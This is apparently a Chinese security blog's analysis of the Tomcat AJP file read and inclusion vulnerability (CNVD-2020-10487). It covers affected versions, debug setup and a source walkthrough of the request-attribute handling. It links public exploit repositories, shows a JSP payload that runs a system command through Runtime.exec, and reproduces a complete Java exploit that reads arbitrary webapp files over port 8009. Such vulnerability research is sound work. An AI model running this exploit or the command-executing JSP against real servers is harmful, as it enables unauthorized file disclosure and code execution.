Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
漏洞影响
该漏洞可以用来读取或包含 Tomcat 上所有 webapp目录下的任意文件,文件包含漏洞影响以下版本:
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
环境搭建
测试版本8.5.16,用的mac下Mxsrvs自带的tomcat。
在/bin/catalina.sh文件头部里增加一行,设置调试端口:1
export JPDA_ADDRESS=9901
再修改一下startup.sh的最后一行:1
2#exec "$PRGDIR"/"$EXECUTABLE" start "$@"
exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"
Idea里配置一下
漏洞复现
EXP: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
漏洞分析
本地测试8.5.16版本,tomcat默认开启三个端口:
在/conf/server.xml中配置:
Tomcat服务器通过Connector连接器组件与客户程序建立连接,connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。
在上图的配置中有两个connect,即8080端口对应着Http Connector,使用http(HTTP/1.1)协议;8009使用的AJP Connector,使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。更详细的介绍可以参考一下AJP协议的官方文档:The Apache Tomcat Connectors - AJP Protocol Reference
Web客户访问的两种方式:
代码分析
配置idea的时候先下个源码:https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-coyote/8.5.16/tomcat-coyote-8.5.16-sources.jar
tomcat-coyote.jar!/org/apache/coyote/ajp/AjpProcessor.class#prepareRequest
在AJP协议的请求结构中有这样一个字段属性attributes
:
对应上文代码中switch case
中的匹配项,跟进Constants.SC_A_REQ_ATTRIBUTE
:/org/apache/coyote/ajp/Constants.java
这里定义了所有属性,Constants.SC_A_REQ_ATTRIBUTE
这个case在文档中对应req_attribute
属性,意思是说,如果要发超出上述基础属性以外的值,都可以通过req_attribute(0X0A)
来设置其属性名和值来发送。
不难理解,也就对应着这里的处理逻辑,如果是在上述之外属性,则允许我们自定义:
这里其实就是允许我们设置Request对象的attribute属性。在下文中会提到的几个属性可以被设置:
- javax.servlet.include.request_uri
- javax.servlet.include.path_info
- javax.servlet.include.servlet_path
封装完request对象后,继续处理Servlet的映射流程
任意文件读取
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,/org/apache/catalina/servlets/DefaultServlet.class
:
跟进getRelativePath
函数,当request
属性中javax.servlet.include.request_uri
不为空,则取出另外两个javax.servlet.include.path_info
和javax.servlet.include.servlet_path
属性,最后加到result
里返回:
然后将结果带入this.resources.getResource
函数:
然后一直跟进,直到调用this.cache.getResource
函数读取资源:
读取到/WEB-INF/web.xml
文件:
任意文件包含
当url请求映射在org.apache.jasper.servlet.JspServlet
这个servlet的时候也可通过上述三个属性来控制访问的jsp文件。
随便包含一个上传的文件:
upload1
2
3
4
5<%@ page language="java" import="java.lang.*" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<%
Runtime.getRuntime().exec("open -a Calculator");
%>
EXP
ajp协议的通信客户端demo: https://github.com/kohsuke/ajp-client
这里贴一个threedr3am师傅的EXP: https://github.com/threedr3am/learnjavabug1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32public class FileRead {
public static void main(String[] args) throws IOException {
SimpleAjpClient ac = new SimpleAjpClient();
String host = "localhost";
int port = 8009;
String uri = "/xxxxxxxxxxxxxxxest.xxx";
String file = "/index.jsp";
if (args.length == 4) {
host = args[0];
port = Integer.parseInt(args[1]);
uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
file = args[3];
}
ac.connect(host, port);
// create a message that indicates the beginning of the request
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
forwardMessage.addAttribute("javax.servlet.include.path_info", file);
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
while (true) {
byte[] responseBody = ac.readMessage();
if (responseBody == null || responseBody.length == 0)
break;
System.out.print(new String(responseBody));
}
ac.disconnect();
}
}
比较简单,没啥好说的,指定路由为jsp的时候走org.apache.jasper.servlet.JspServlet
处理,其他则走/org/apache/catalina/servlets/DefaultServlet
默认处理。
最后
洞挺牛逼的,虽然不能直接命令执行,本地的mxsrvs启动tomcat的时候默认启动8009,但是实测了一些真实环境的,独立部署的时候大都没有ajp这个端口,或许在负载均衡反代的场景比较多?
参考文章